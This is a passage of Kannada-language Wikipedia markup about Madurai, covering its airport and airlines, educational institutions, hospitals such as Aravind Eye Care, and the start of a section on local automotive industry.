ಅಲ್ಲಿಂದ [[ಚೆನ್ನೈ]], [[ಮುಂಬಯಿ]] ಮತ್ತು [[ಬೆಂಗಳೂರು]]ಗಳಂತಹಾ ಪ್ರಮುಖ ಭಾರತೀಯ ನಗರಗಳಿಗೆ [http://www.airportmadurai.com/mduairport/FlightInformation/Departure/madurai-airport.aspx?m=109&amp;mm=112 11 ದೈನಂದಿನ ಹಾರಾಟಗಳು]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} ಲಭ್ಯವಿವೆ. ಚೆನ್ನೈ ಮೂಲಕ [[ಹೈದರಾಬಾದ್‌]], [[ಪುಣೆ]], [[ಗೋವಾ]] ಮತ್ತು [[ಅಹಮದಾಬಾದ್‌]]ಗಳಿಗೆ ಸಹಾ ಹಾರಾಟ ಕಲ್ಪಿಸುತ್ತದೆ. [http://www.airportmadurai.com ಮಧುರೈ ವಿಮಾನನಿಲ್ದಾಣ] {{Webarchive|url=https://www.webcitation.org/6DpcVka0H?url=http://www.airportmadurai.com/ |date=2013-01-21 }} ದಲ್ಲಿ ಸೇವೆ ನೀಡುತ್ತಿರುವ ವಿಮಾನಸಂಸ್ಥೆಗಳೆಂದರೆ [[ಜೆಟ್‌ ಏರ್‌ವೇಸ್‌]], [[ಏರ್‌ ಡೆಕ್ಕನ್‌]], [[ಪ್ಯಾರಾಮೌಂಟ್‌ ಏರ್‌ವೇಸ್]]‌‌, [[ಸ್ಟಾರ್‌ ಏವಿಯೇಷನ್‌]] (ಆರಂಭಿಸಲಿರುವ) ಮತ್ತು [[ಇಂಡಿಯನ್‌ ಏರ್‌ಲೈನ್ಸ್]]‌‌. ಮಧುರೈನಿಂದ [[ಕೊಲೊಂಬೋ]], [[ಸಿಂಗಪೂರ್‌]] ಮತ್ತು ಕೊಲ್ಲಿ ದೇಶಗಳಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಹಾರಾಟಗಳನ್ನು ಭವಿಷ್ಯದಲ್ಲಿ ಆರಂಭಿಸಲು ಪ್ರಸ್ತಾವ ಸಲ್ಲಿಸಲಾಗಿದೆ. ಅತ್ಯಂತ ಸಮೀಪವಿರುವ ಅಂತರರಾಷ್ಟ್ರೀಯ ವಿಮಾನ ನಿಲ್ದಾಣವೆಂದರೆ ಮಧುರೈನಿಂದ 130&nbsp;km ದೂರವಿರುವ [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿಯ ಅಂತರರಾಷ್ಟ್ರೀಯ ವಿಮಾನನಿಲ್ದಾಣ]]. ಮಧುರೈನ ವಿಮಾನನಿಲ್ದಾಣದ ಸಂಕೇತವು IXM ಆಗಿದೆ. {| class="wikitable" |- ! ಮಧುರೈನಿಂದ ಹೊರಡುವ ವಿಮಾನಯಾನ ! ಗಮ್ಯಸ್ಥಳ |- | ಇಂಡಿಯನ್‌ ಏರ್‌‌ಲೈನ್ಸ್‌ | ಚೆನ್ನೈ, ಮುಂಬಯಿ |- | ಪ್ಯಾರಾಮೌಂಟ್‌ ಏರ್‌ವೇಸ್‌ | ಚೆನ್ನೈ, ಬೆಂಗಳೂರು, ಅಹಮದಾಬಾದ್‌, ಗೋವಾ, ಕೊಚ್ಚಿ/ನ್‌,ತಿರುವನಂತಪುರಂ, ಪುಣೆ, ಹೈದರಾಬಾದ್‌, ಕೊಲ್ಕೋತಾ, ದೆಹಲಿ |- | ಜೆಟ್‌ ಏರ್‌ವೇಸ್‌ / ಜೆಟ್‌ ಕನೆಕ್ಟ್‌‌ | ಚೆನ್ನೈ |- | ಏರ್‌ ಡೆಕ್ಕನ್‌ (ಕಿಂಗ್‌ಫಿಷರ್‌) | ಚೆನ್ನೈ , ಬೆಂಗಳೂರು |- | ಸ್ಟಾರ್‌ ಏವಿಯೇಷನ್‌ (ಆರಂಭಿಸಲಿರುವ) | ಚೆನ್ನೈ |} == ಶಿಕ್ಷಣ == [[ಚಿತ್ರ:TCE Madurai.JPG|thumb|140px|ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ಮಧುರೈ .]] ಮಧುರೈ ನಗರವು ಸಾಕ್ಷರತೆ ಹಾಗೂ ಮಾನವ ಅಭಿವೃದ್ಧಿ ಸೂಚ್ಯಂಕಗಳಲ್ಲಿ ರಾಜ್ಯದ ಸರಾಸರಿಗಿಂತ ಹೆಚ್ಚಿನ ಸಾಮರ್ಥ್ಯ ತೋರಿದೆ. [[ಮಧುರೈ ಕಾಮರಾಜ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ವು ಮಧುರೈನಲ್ಲಿದೆ. ಈ ವಿಶ್ವವಿದ್ಯಾಲಯವು ದೂರಶಿಕ್ಷಣ ವ್ಯವಸ್ಥೆಯ ಪರಿಕಲ್ಪನೆಯನ್ನು [[ಭಾರತ]]ದಾದ್ಯಂತ ಹರಡುವಲ್ಲಿ ಅಗ್ರಪ್ರವರ್ತಕವಾಗಿತ್ತು. ಈ ವಿಶ್ವವಿದ್ಯಾಲಯಕ್ಕೆ "ಉತ್ಕೃಷ್ಟ ಸಾಧನೆಯ ಸಾಮರ್ಥ್ಯವಿರುವ ವಿಶ್ವವಿದ್ಯಾಲಯ"ದ ಸ್ಥಾನಮಾನ ನೀಡಲಾಗಿದೆ <ref>{{cite web|url= http://www.mkudde.org/aboutuniv.php |title= Madurai Kamaraj University official website| accessdate = 2008-12-25}}</ref>. ನಗರವು (1954ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) [[ಮಧುರೈ ವೈದ್ಯಕೀಯ ಮಹಾವಿದ್ಯಾಲಯ]] ಎಂಬ ವೈದ್ಯಕೀಯ ಮಹಾವಿದ್ಯಾಲಯ, ಕೃಷಿ ಮಹಾವಿದ್ಯಾಲಯ ಹಾಗೂ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ, ಕಾನೂನು ವಿದ್ಯಾಲಯ ಮತ್ತು ಅನೇಕ ತಾಂತ್ರಿಕ ಮತ್ತು ಕಲಾ ಹಾಗೂ ವಿಜ್ಞಾನ ಮಹಾವಿದ್ಯಾಲಯಗಳನ್ನು ಹೊಂದಿದೆ. ಅಲ್ಲಿನ [http://www.aravind.org/amrf/index.asp ಅರವಿಂದ್‌‌ ನೇತ್ರ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ] {{Webarchive|url=https://web.archive.org/web/20091228191508/http://www.aravind.org/amrf/index.asp |date=2009-12-28 }} ಯು [[ತಳಿಶಾಸ್ತ್ರ]],[[ರೋಗರಕ್ಷಾಶಾಸ್ತ್ರ]],[[ನೇತ್ರಶಾಸ್ತ್ರ]], [[ಜೀವವಿಜ್ಞಾನ ಶಾಸ್ತ್ರಗಳು]], ಮಾನವ ಸಂಸ್ಕೃತಿ ಮತ್ತು ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನಗಳು ಹಾಗೂ [[ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನ]]ಗಳಂತಹಾ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಮಧುರೈ ಕಾಮರಾಜ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯ, Dr. MGR ವೈದ್ಯಕೀಯ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು [[ಭಾರತೀಯ ತಂತ್ರಜ್ಞಾನ ಸಂಸ್ಥೆ ಮದ್ರಾಸ್‌]]ನಂತಹಾ ವಿಶ್ವವಿದ್ಯಾಲಯಗಳ ಸಹಯೋಗದೊಂದಿಗೆ Ph.D ಅಧ್ಯಯನಗಳನ್ನು ಆರಂಭಿಸಿದೆ. [[ಲಂಡನ್‌]] ಮತ್ತು [[USA]]ಗಳಲ್ಲಿರುವ ಸಂಶೋಧನಾ ಸಹಭಾಗಿಗಳನ್ನು ಈ ಅಧ್ಯಯನವು ಹೊಂದಿದೆ. ಮಧುರೈನ (1957ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]]ವು [[ತಮಿಳುನಾಡಿನ]] ಅತ್ಯುತ್ತಮ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಮಧುರೈನಲ್ಲಿ ಅನೇಕ ಪ್ರತಿಷ್ಠಿತ ಶಾಲೆಗಳು, ತಾಂತ್ರಿಕ ವಿದ್ಯಾಲಯಗಳು/ಪಾಲಿಟೆಕ್ನಿಕ್‌ಗಳು ಹಾಗೂ [[ಔದ್ಯಮಿಕ ತರಬೇತಿ ಸಂಸ್ಥೆ]]ಗಳೂ (ITIಗಳು) ಇವೆ. 1856ರಲ್ಲಿ<ref>{{cite web |url=http://maduracollege.org/college_profile.php |title=Welcome to The Madura College - Over 120 Years |publisher=Maduracollege.org |date= |accessdate=2009-09-23 |archive-date=2009-11-03 |archive-url=https://web.archive.org/web/20091103111708/http://maduracollege.org/college_profile.php |url-status=dead }}</ref> ಜಿಲ್ಲಾ ಶಾಲೆಯಾಗಿ ಸ್ಥಾಪಿತವಾಗಿದ್ದ ಮಧುರಾ ಮಹಾವಿದ್ಯಾಲಯವು 120 ವರ್ಷಗಳಷ್ಟು ಹಳೆಯದು. [[ಮಧುರೈನ ದ ಅಮೇರಿಕನ್‌ ಕಾಲೇಜ್‌]] ಭಾರತದ ಹಳೆಯ ಮಹಾವಿದ್ಯಾಲಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. 1881ರಲ್ಲಿ ಇದನ್ನು ಅಮೇರಿಕದ ಕ್ರೈಸ್ತ ಮಿಷನರಿಗಳು ಸ್ಥಾಪಿಸಿದರು. ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಕಲೆ ಮತ್ತು ವಿಜ್ಞಾನ ಮಹಾವಿದ್ಯಾಲಯವೂ ಸಹಾ (1949ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) ಮತ್ತೊಂದು ಹಳೆಯ ಸಂಸ್ಥೆಯಾಗಿದೆ. [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಸ್ಕೂಲ್‌ ಆಫ್‌ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್‌]] (1962ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಹಾಗೂ TSM ಎಂದು ದಕ್ಷಿಣಭಾರತದಲ್ಲಿ ಖ್ಯಾತವಾದ) ಎಂಬುದು ನಿರ್ವಹಣಾ ಅಧ್ಯಯನಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಅತ್ಯುತ್ತಮ ಸಂಸ್ಥೆಯಾಗಿದೆ. ಇತರ ಗಮನಾರ್ಹ ಮಹಾವಿದ್ಯಾಲಯಗಳೆಂದರೆ K.L.N. ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ರಾಜಾ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ಸೇತು ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, [[ವಿಕ್ರಮ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]], SACS M.A.V.M.M ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ವೇಲಮ್ಮಾಳ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ ಮತ್ತು P.T.R ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯಗಳು. ಮಧುರೈನಲ್ಲಿನ 1965ರಿಂದ ಇರುವ K.K.ನಗರದ M.S.S.ವಕ್ಫ್‌ ಮಂಡಳಿ ಮಹಾವಿದ್ಯಾಲಯ, ಮತ್ತು ನಾಗಮಲೈನ S.V.N ಮಹಾವಿದ್ಯಾಲಯಗಳು ಖ್ಯಾತ ಸಂಸ್ಥೆಗಳಾಗಿವೆ. ನಗರದಲ್ಲಿ ಗಮನಾರ್ಹ ಸಂಖ್ಯೆಯ ಹೋಟೆಲ್‌ ನಿರ್ವಹಣೆ ಹಾಗೂ ಆಹಾರ ಪೂರೈಕೆಯ<ref>{{cite web|url= http://www.maduraidirectory.com/education/cnh_colleges.php |title= Madurai directory| accessdate = 2009-03-22}}</ref> ಸಂಸ್ಥೆಗಳಿವೆ. ಮಧುರಾ ಮಹಾವಿದ್ಯಾಲಯ (ಸ್ವಾಯತ್ತ)ವು ಮಧುರೈನ ಪ್ರಾಚೀನ ಮಹಾವಿದ್ಯಾಲಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]], [[ವಿಕ್ರಮ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]] ಮತ್ತು KLN ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯಗಳು ಸಂಶೋಧನಾ ವ್ಯವಸ್ಥೆಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವಲ್ಲಿ ಮುಂಚೂಣಿಯಲ್ಲಿವೆಯಲ್ಲದೇ ಅಂತರರಾಷ್ಟ್ರೀಯ ತಾಂತ್ರಿಕ ಸಂಸ್ಥೆಗಳಾದ ನ್ಯಾಷನಲ್‌ ಇನ್‌ಸ್ಟ್ರುಮೆಂಟ್ಸ್‌‌<ref>{{cite web |url= http://www.hindu.com/2008/11/20/stories/2008112054410500.htm |title= National Instruments opens its first training academy in the world in Madurai |accessdate= 2008-12-24 |archive-date= 2009-01-22 |archive-url= https://web.archive.org/web/20090122090858/http://hindu.com/2008/11/20/stories/2008112054410500.htm |url-status= dead }}</ref>, Intel<ref>{{cite web |url=http://www.hindu.com/edu/2007/07/30/stories/2007073050490800.htm |title=Intel to aid engineering curriculum development |accessdate=2008-12-31 |archive-date=2008-11-05 |archive-url=https://web.archive.org/web/20081105155618/http://www.hindu.com/edu/2007/07/30/stories/2007073050490800.htm |url-status=dead }}</ref>, Oracle<ref>{{cite web|url=http://www.oracle.com/global/in/education/maps/oracle_wdp.html|title=INstitutions with Oracle Tie Up|accessdate=2009-04-18|archive-date=2009-03-16|archive-url=https://web.archive.org/web/20090316123915/http://www.oracle.com/global/in/education/maps/oracle_wdp.html|url-status=dead}}</ref> IBM<ref>{{cite web|url=http://www.klnce.edu/ibm/rational/ibm_rational.html|title= IBM Rational Center of Excellence at KLN |accessdate = 2008-12-24}}</ref> ಮತ್ತು HCL<ref>{{cite web|url=http://www.hinduonnet.com/2007/11/29/stories/2007112950140100.htm|title=HCL chooses Madurai for radio frequency project|accessdate=2008-12-24|archive-date=2008-12-26|archive-url=https://web.archive.org/web/20081226134740/http://www.hinduonnet.com/2007/11/29/stories/2007112950140100.htm|url-status=dead}}</ref> ನಂತಹಾ ರಾಷ್ಟ್ರದ ಮುಂಚೂಣಿ ಔದ್ಯಮಿಕ ಸಂಸ್ಥೆಗಳೊಂದಿಗೆ ಸಂಘಟಿತವಾಗಿವೆ. ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ವಿಶ್ವವಿದ್ಯಾಲಯಗಳಿಂದ ಏರ್ಪಾಡು ಮಾಡಲಾದ ಸಾಂಸ್ಥಿಕ ಸಂದರ್ಶನಗಳಲ್ಲಿ ಅಗ್ರಗಣ್ಯ ಉದ್ಯಮ ಸಂಸ್ಥೆಗಳು ಭಾಗವಹಿಸಿ ಯಶಸ್ವಿ ನೇಮಕಾತಿಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತಿದೆ. ಔದ್ಯಮಿಕ ಅಂದಾಜುಗಳ ಪ್ರಕಾರ ಮೆಟ್ರೋ ನಗರಗಳಲ್ಲಿನ IT ಉದ್ಯಮದಲ್ಲಿರುವ ಸುಮಾರು 15ರಿಂದ 20 ಪ್ರತಿಶತ ಮಾನವ ಸಂಪನ್ಮೂಲವು ಮಧುರೈ ಮತ್ತು ಸುತ್ತಮುತ್ತಲಿನ ಜಿಲ್ಲೆಗಳಿಂದ ಶಿಕ್ಷಣ ಪಡೆದವರು <ref>{{cite web|url=http://www.thehindubusinessline.com/2007/10/20/stories/2007102052622300.htm|title = Madurai- gateway to prosperity |accessdate = 2008-12-24}}</ref>. ಮಾ ಫೋಯ್‌ ಮತ್ತು VETAಗಳು ಇತರೆ ಪ್ರತಿಷ್ಠಿತ ಸಂಸ್ಥೆಗಳು. ಮತ್ತೊಂದು ಹೊಸ ಆದರೆ ಮುಂದೆಬರುತ್ತಿರುವ/ಅಭ್ಯುದಯ ಹೊಂದುತ್ತಿರುವ ನಾವೀನ್ಯತೆಯುಳ್ಳ ಶಿಕ್ಷಣ ಕೇಂದ್ರವು ಪುಲ್ಲೋತು/ಥುನಲ್ಲಿದೆ. ಅದೆಂದರೆ ಎರಡು ವರ್ಷ ಕಾಲದ ಅದ್ವಿತೀಯ ಅಭಿವೃದ್ಧಿ ನಿರ್ವಹಣೆಯ ಅಧ್ಯಯನವನ್ನು ಆರಂಭಿಸಿರುವ ಟಾಟಾ-ಧನ್‌ ಅಕಾಡೆಮಿ<ref>http://www.dhan.org/tda</ref>. ಈ ಸಂಸ್ಥೆಯು ಈ ಕ್ಷೇತ್ರದ ಪ್ರವರ್ತಕ ಸಂಸ್ಥೆಯೆಂಬ ಹೆಗ್ಗಳಿಕೆ ಹೊಂದಿದ್ದು ಧನ್‌ ಪ್ರತಿಷ್ಠಾನ ಮತ್ತು ಸರ್‌ ರತನ್‌ ಟಾಟಾ ಟ್ರಸ್ಟ್‌ಗಳಿಂದ ಆರ್ಥಿಕ ಬೆಂಬಲ ಪಡೆದಿದೆ.{{Citation needed|date=August 2009}} == ಆರೋಗ್ಯರಕ್ಷಣೆ == ಸರ್ಕಾರದ ರಾಜಾಜಿ ಆಸ್ಪತ್ರೆಯೊಂದಿಗೆ ಅನೇಕ ಖಾಸಗಿ ಆಸ್ಪತ್ರೆಗಳಾದ ಅರವಿಂದ ಕಣ್ಣಿನ ಆಸ್ಪತ್ರೆ, ಅಪೋಲೋ ಸ್ಪೆಷಾಲಿಟಿ ಆಸ್ಪತ್ರೆ, ಮೀನಾಕ್ಷಿ ಮಿಷನ್‌ ಆಸ್ಪತ್ರೆ ಮತ್ತು ಸಂಶೋಧನಾ ಕೇಂದ್ರ, ವಡಮಾಲಯನ್‌ ಆಸ್ಪತ್ರೆ ಮತ್ತು ಕ್ವಾಲಿಟಿ ಕೇರ್‌ ಆಸ್ಪತ್ರೆಗಳು ನಗರವನ್ನು ನಿರ್ವಹಿಸಬಹುದಾದಂತಹಾ ವೆಚ್ಚದಲ್ಲಿ ಹೆರಿಟೇಜ್‌ ಪ್ರವಾಸೋದ್ಯಮದೊಂದಿಗೆ ಆರೋಗ್ಯ ರಕ್ಷಣೆಯನ್ನು ನೀಡುವ ತಾಣವನ್ನಾಗಿಸಿವೆ <ref>{{cite web|url= http://www.thehindubusinessline.com/2007/10/20/stories/2007102052622300.htm|title= Madurai — a gateway to prosperity | accessdate = 2008-12-24}}</ref>. [[ಚಿತ್ರ:Aravind hospital.jpg|thumb|right|ಅನ್ನಾ ನಗರ್‌ನಲ್ಲಿರುವ ಅರವಿಂದ್‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯ]] ಮಧುರೈ ನಗರವು 1976ರಲ್ಲಿ Dr.[[ಗೋವಿಂದಪ್ಪ ವೆಂಕಟಸ್ವಾಮಿ]]ಯವರಿಂದ ಸ್ಥಾಪಿತವಾದ [http://www.aravind.org/ ಅರವಿಂದ್‌‌ ಐಕೇರ್‌ ಸಿಸ್ಟಂ] ಸಂಸ್ಥೆಯ ನೆಲೆಯಾಗಿದೆ. ಇಂದು ಇದು ವಿಶ್ವದಲ್ಲೇ ಅತ್ಯಂತ ಸುಸಜ್ಜಿತವಾದ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಲ್ಲಿ ಒಂದು <ref>{{cite web|url= http://www.aravind.org/education/homepage.htm|title= Aravind Eye Care System -official website|accessdate= 2008-12-24|archive-date= 2008-12-21|archive-url= https://web.archive.org/web/20081221123041/http://www.aravind.org/education/homepage.htm|url-status= dead}}</ref>. ಇಂದು ಮಧುರೈನಲ್ಲಿರುವ ಆಸ್ಪತ್ರೆಯಲ್ಲದೇ, [[ಥೇಣಿ]], [[ತಿರುನಲ್ವೇಲಿ]], [[ಕೊಯಮತ್ತೂರು]], ಮತ್ತು [[ಪುದುಚೇರಿ]]ಗಳಲ್ಲಿ ಇರುವ ನಾಲ್ಕು ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಿಂದ ಒಟ್ಟು 3,590 ರೋಗಿಗಳಿಗೆ ಸೇವೆ ನೀಡಬಹುದಾಗಿದೆ. ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳು ತಮ್ಮ ಸೇವಾ ಮನೋಭಾವನೆ,ಆಧುನಿಕ ನೇತ್ರ ತಂತ್ರಜ್ಞಾನಗಳ ಬಳಕೆ ಮತ್ತು ಹಳ್ಳಿಯ ಜನಗಳಿಗೆ ನೀಡುತ್ತಿರುವ ಉತ್ತಮ ಗುಣಮಟ್ಟದ ನೇತ್ರ ಚಿಕಿತ್ಸೆಗಳಿಗೆ, ಸಮುದಾಯ ಆಧಾರಿತ ವ್ಯಾಪಕ ಚಟುವಟಿಕೆಗಳಿಗೆ ರಾಷ್ಟ್ರೀಯ ಹಾಗೂ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ಪ್ರಾಮುಖ್ಯತೆ ಗಳಿಸಿವೆ<ref>{{cite web|url=http://www.hindu.com/2008/11/14/stories/2008111451100200.htm|title=Bangladesh, Indonesia seek Madurai eye hospital’s expertise|accessdate=2008-12-24|archive-date=2009-01-25|archive-url=https://web.archive.org/web/20090125164608/http://www.hindu.com/2008/11/14/stories/2008111451100200.htm|url-status=dead}}</ref>. ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಲ್ಲಿ 2006ನೇ ಇಸವಿಯ ಅವಧಿಯಲ್ಲಿ ಒಟ್ಟು 2,313,398 ಹೊರರೋಗಿಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಯಿತಲ್ಲದೇ ಮತ್ತು 270,444 ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಗಳನ್ನು ಮಾಡಲಾಗಿತ್ತು. ಹೊರರೋಗಿಗಳಲ್ಲಿ ಮೂರನೇ ಎರಡರಷ್ಟು ಮಂದಿ ಹಾಗೂ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಗಳಲ್ಲಿ ನಾಲ್ಕರಲ್ಲಿ ಮೂರರಷ್ಟು ಮಂದಿ ಬಡವರಾಗಿದ್ದರು ಅವರಿಗೆ ಉಚಿತ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗಿತ್ತು. ಮಧುರೈನ ಅಪೋಲೋ ಸ್ಪೆಷಾಲಿಟಿ ಆಸ್ಪತ್ರೆಗಳನ್ನು 1997ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. ಆಸ್ಪತ್ರೆಯು ವಾರ್ಷಿಕವಾಗಿ 15,000 ರೋಗಿಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡಿ ಒಟ್ಟಾರೆ 98%ದಷ್ಟು ಯಶಸ್ವಿ ಚಿಕಿತ್ಸೆಯ ದರವನ್ನು ಕಾಪಾಡಿಕೊಂಡಿದೆ. 24-ಗಂಟೆ ಸೇವಾ ತತ್ಪರರಾಗಿರುವ ವಿಶೇಷ ತಜ್ಞರ ತಂಡವು ಆಸ್ಪತ್ರೆಯಲ್ಲಿರುತ್ತದೆ. ಆಸ್ಪತ್ರೆಯು ದಕ್ಷಿಣಭಾರತದಲ್ಲೇ ಪ್ರಥಮ ಬಾರಿಗೆ ಮೂತ್ರಪಿಂಡಶಾಸ್ತ್ರದ ತುರ್ತು ನಿಗಾ ಘಟಕ ಮತ್ತು ಪ್ರಥಮ ಅಪಧಮನಿ ಹಾಗೂ ಮೂತ್ರಪಿಂಡಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಆಂಜಿಯೋಪ್ಲಾಸ್ಟಿ ಚಿಕಿತ್ಸಾ ಘಟಕವನ್ನು ಹೊಂದಿತ್ತು. ಉದರದರ್ಶಕದ ಮೂಲಕ ಮೂತ್ರಪಿಂಡಜೋಡಣೆ ಮಾಡುವ ವಿಶ್ವದಲ್ಲೇ 5ನೇ ಹಾಗೂ ಭಾರತದಲ್ಲಿ No. 1 ಕೇಂದ್ರವಾಗಿದೆ(ದಾತರ ಮೂತ್ರಪಿಂಡಚ್ಛೇದನ)<ref>{{cite web|url= http://www.apollohospitals.com/madurai.asp?PgeuId=1066|title= Apollo Hospitals - official website|accessdate= 2008-12-24|archive-date= 2008-12-26|archive-url= https://web.archive.org/web/20081226133919/http://www.apollohospitals.com/madurai.asp?PgeuId=1066|url-status= dead}}</ref>. ಅಪೋಲೋ ಸಮೂಹದ ಆಸ್ಪತ್ರೆಗಳು ಅನೇಕ ಭಾರತೀಯ ನಗರಗಳಲ್ಲಿ ಹರಡಿವೆಯಲ್ಲದೇ ಇಂದಿಗೆ ಅಪೋಲೋ ಆಸ್ಪತ್ರೆಗಳು ಜಾಗತಿಕ ಆರೋಗ್ಯ ರಕ್ಷಣೆಯಲ್ಲಿ ಭಾರತವು ಅತ್ಯುತ್ತಮ ವೈದ್ಯಕೀಯ ಸೇವೆಗಳು ಲಭ್ಯವಿರುವ ರಾಷ್ಟ್ರವೆಂಬ ಸ್ಥಾನ ಸಿಗಲು ಅಗ್ರ ಪ್ರವರ್ತಕ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊತ್ತಿವೆ. == ಆರ್ಥಿಕತೆ == ಮಧುರೈ ಜಿಲ್ಲೆಯು ಖಾಸಗಿ ಕ್ಷೇತ್ರದಲ್ಲಿ ಟೈರ್‌ಗಳು, ಔದ್ಯಮಿಕ ರಬ್ಬರ್‌ ಉತ್ಪನ್ನಗಳು, ಯಂತ್ರಗಳು, ವಸ್ತ್ರೋದ್ಯಮ, ಕನ್ವೇಯರ್‌ ಬೆಲ್ಟ್‌ಗಳು, ರಾಸಾಯನಿಕ etc.ಗಳಂತಹಾ ಸಾಮಗ್ರಿಗಳ ಉತ್ಪಾದನೆಯಲ್ಲಿ ತೊಡಗಿಕೊಂಡಿರುವ ಪ್ರತಿಷ್ಠಿತ ಸಂಸ್ಥೆಗಳ ನೆಲೆಯಾಗಿದೆ. ಮಧುರೈ TVS ಸಮೂಹದ ನೆಲೆಯಾಗಿದೆ<ref>{{cite web|url= http://www.tvsgroup.com/pages/contact.htm |title= TVS Group | accessdate = 2009-01-24}}</ref>. === ಸ್ವಯಂಚಾಲಿತ ವಾಹನ/ವಾಹನೋದ್ಯಮ === ತಯಾರಿಕೆ ಮತ್ತು ವಾಹನೋದ್ಯಮ ಕ್ಷೇತ್ರದಲ್ಲಿ, ಟ್ರಾಕ್ಟರ್ಸ್‌ ಅಂಡ್‌ ಫಾರ್ಮ್‌‌ ಈಕ್ವಿಪ್‌ಮೆಂಟ್‌ ಲಿಮಿಟೆಡ್‌ (TAFE) (ವಿಶ್ವದ ಐದು ಪ್ರಖ್ಯಾತ ಟ್ರಾಕ್ಟರ್‌ ತಯಾರಕರಲ್ಲಿ ಒಬ್ಬರು), [http://fennerindia.com/html/manufacturing.asp ಫೆನ್ನರ್‌ (ಭಾರತ) Ltd] {{Webarchive|url=https://web.archive.org/web/20100103071130/http://fennerindia.com/html/manufacturing.asp |date=2010-01-03 }} (ಔದ್ಯಮಿಕ ಮತ್ತು ವಾಹನ ತಯಾರಿಕೆಯ V-ಬೆಲ್ಟ್‌ಗಳು, ಆಯಿಲ್‌ಸೀಲ್‌ಗಳು ಮತ್ತು ಶಕ್ತಿ ಸಂವಹನ ಪರಿಕರಗಳು), ಹೈ-ಟೆಕ್‌ ಅರೈ Ltd (ಆಯಿಲ್‌ಸೀಲ್‌ಗಳು ಮತ್ತು ವಾಹನ ಸಾಮಗ್ರಿಗಳು )<ref>{{cite web|url= http://www.business-standard.com/india/storypage.php?autono=292804 |title= Hi-Tech Arai to set up Rs 25 cr plant in Madurai | accessdate = 2009-01-24}}</ref>, ಜಾರ್ಜ್‌ ಓಕ್ಸ್‌ ltd, ZF ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ TVS (ಭಾರತ) ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌‌(ಸ್ವಿಚ್‌ಗಳ ತಯಾರಿಕೆ , TVS ಸಮೂಹ, ಭಾರತ ಹಾಗೂ Zf ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಕಾರ್ಪೋರೇಷನ್‌, USAಗಳ ಸಹಭಾಗಿತ್ವ), ಸುಂದರಂ ಫಾಸನರ್ಸ್‌‌ Ltd (ಹೆಚ್ಚಿನ ಕರ್ಷಕ ಸಾಮರ್ಥ್ಯದ ಬಂಧಕ/ನಿಗಳ ತಯಾರಕರು ), [http://www.indiaautomotive.net/2008/08/firestone-tvs-plant-inaugurated-near.html ಫೈರ್‌ಸ್ಟೋನ್‌ TVS ಪ್ರೈವೇಟ್‌ Ltd] 